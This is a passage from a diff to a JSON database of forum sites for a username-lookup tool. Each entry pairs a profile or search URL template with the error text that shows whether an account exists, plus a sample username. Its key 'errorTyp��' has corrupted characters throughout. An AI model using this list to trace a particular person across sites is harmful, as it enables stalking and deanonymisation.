"http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_saabcentral": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.saabcentral.com/members/?username={}", + "urlMain": "https://www.saabcentral.com", + "usernameON": "aerokyle", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": "https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "comments": "cf", + "bad_site": 1 + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + "Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 